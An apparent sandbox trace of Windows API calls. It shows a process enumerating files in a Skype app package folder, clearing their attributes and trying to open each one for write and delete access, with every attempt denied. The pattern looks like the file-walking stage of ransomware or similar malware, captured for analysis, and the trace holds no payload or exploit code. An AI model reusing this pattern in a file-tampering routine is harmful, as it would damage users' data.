	[0091.223] wcscat (in: _Dest=0x49260d0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\*"
	[0091.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f230
	[0091.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\*", lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c6e7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb03fc1b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x745c6e7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1e8
	[0091.223] wcscmp (_String1=".", _String2=".") returned 0
	[0091.223] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c6e7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb03fc1b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x745c6e7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.223] wcscmp (_String1="..", _String2=".") returned 1
	[0091.223] wcscmp (_String1="..", _String2="..") returned 0
	[0091.223] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c6e7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7482940, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7482940, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3a8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0091.223] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0091.224] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0091.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32998
	[0091.224] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata"
	[0091.224] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\"
	[0091.224] wcscat (in: _Dest=0x4e32998, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\CodeIntegrity.cat"
	[0091.224] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.225] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.226] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.226] GetLastError () returned 0x5
	[0091.226] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.226] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c6e7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7482940, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7482940, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3a8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.226] FindClose (in: hFindFile=0x477b1e8 | out: hFindFile=0x477b1e8) returned 1
	[0091.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f230) returned 1
	[0091.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49260d0) returned 1
	[0091.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0091.226] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c6e7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x745c6e7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x745c6e7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2982, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.226] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.226] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x49260d0
	[0091.226] wcscpy (in: _Dest=0x49260d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0091.226] wcscat (in: _Dest=0x49260d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0091.226] wcscat (in: _Dest=0x49260d0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxSignature.p7x"
	[0091.226] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\appxsignature.p7x")) returned 0x20
	[0091.228] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.228] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.228] GetLastError () returned 0x5
	[0091.228] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.228] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49260d0) returned 1
	[0091.228] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74a8b9e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74cedf7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x74cedf7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0091.228] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0091.228] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0091.228] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cedf7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74f5051, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x74f5051, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Skype.ImageTool.dll", cAlternateFileName="")) returned 1
	[0091.228] wcscmp (_String1="Microsoft.Skype.ImageTool.dll", _String2=".") returned 1
	[0091.228] wcscmp (_String1="Microsoft.Skype.ImageTool.dll", _String2="..") returned 1
	[0091.229] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f5051, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x751b2af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x751b2af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Skype.ImageTool.winmd", cAlternateFileName="")) returned 1
	[0091.229] wcscmp (_String1="Microsoft.Skype.ImageTool.winmd", _String2=".") returned 1
	[0091.229] wcscmp (_String1="Microsoft.Skype.ImageTool.winmd", _String2="..") returned 1
	[0091.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32998
	[0091.229] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0091.229] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0091.229] wcscat (in: _Dest=0x4e32998, _Source="Microsoft.Skype.ImageTool.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\Microsoft.Skype.ImageTool.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\Microsoft.Skype.ImageTool.winmd"
	[0091.229] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\Microsoft.Skype.ImageTool.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.skype.imagetool.winmd")) returned 0x20
	[0091.230] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\Microsoft.Skype.ImageTool.winmd", dwFileAttributes=0x20) returned 0
	[0091.230] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\Microsoft.Skype.ImageTool.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.skype.imagetool.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.230] GetLastError () returned 0x5
	[0091.230] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\Microsoft.Skype.ImageTool.winmd", dwFileAttributes=0x20) returned 0
	[0091.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.230] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba15ff2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x888bff4e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x888bff4e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.230] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.230] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32998
	[0091.230] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0091.230] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0091.230] wcscat (in: _Dest=0x4e32998, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata"
	[0091.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491ebb8
	[0091.230] wcscpy (in: _Dest=0x491ebb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata"
	[0091.230] wcscat (in: _Dest=0x491ebb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\"
	[0091.230] wcscat (in: _Dest=0x491ebb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\*"
	[0091.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50318b0
	[0091.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\*", lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba15ff2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x888bff4e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x888bff4e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1e8
	[0091.231] wcscmp (_String1=".", _String2=".") returned 0
	[0091.231] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba15ff2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x888bff4e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x888bff4e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.231] wcscmp (_String1="..", _String2=".") returned 1
	[0091.231] wcscmp (_String1="..", _String2="..") returned 0
	[0091.231] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc57111f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdc57111f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdc57111f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x2caf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.857e5af3.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0091.231] wcscmp (_String1="resources.857e5af3.pri", _String2=".") returned 1
	[0091.231] wcscmp (_String1="resources.857e5af3.pri", _String2="..") returned 1
	[0091.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2e45250
	[0091.231] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata"
	[0091.231] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\"
	[0091.231] wcscat (in: _Dest=0x2e45250, _Source="resources.857e5af3.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\resources.857e5af3.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\resources.857e5af3.pri"
	[0091.231] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\resources.857e5af3.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\resources.857e5af3.pri")) returned 0x2020
	[0091.231] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\resources.857e5af3.pri", dwFileAttributes=0x20) returned 0
	[0091.231] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\resources.857e5af3.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\resources.857e5af3.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.231] GetLastError () returned 0x5
	[0091.231] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\resources.857e5af3.pri", dwFileAttributes=0x2020) returned 0
	[0091.232] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.232] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc57111f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdc57111f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdc57111f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x2caf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", cAlternateFileName="")) returned 1
	[0091.232] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", _String2=".") returned 1
	[0091.232] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", _String2="..") returned 1
	[0091.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x2e45250
	[0091.232] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata"
	[0091.232] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\"
	[0091.232] wcscat (in: _Dest=0x2e45250, _Source="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri"
	[0091.232] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\s-1-5-21-1051304884-625712362-2192934891-1000-mergedresources-0.pri")) returned 0x2020
	[0091.232] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", dwFileAttributes=0x20) returned 0
	[0091.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\s-1-5-21-1051304884-625712362-2192934891-1000-mergedresources-0.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.232] GetLastError () returned 0x5
	[0091.232] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\microsoft.system.package.metadata\\S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", dwFileAttributes=0x2020) returned 0
	[0091.232] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.232] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc57111f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdc57111f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdc57111f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x2caf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000-MergedResources-0.pri", cAlternateFileName="")) returned 0
	[0091.232] FindClose (in: hFindFile=0x477b1e8 | out: hFindFile=0x477b1e8) returned 1
	[0091.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50318b0) returned 1
	[0091.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491ebb8) returned 1
	[0091.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
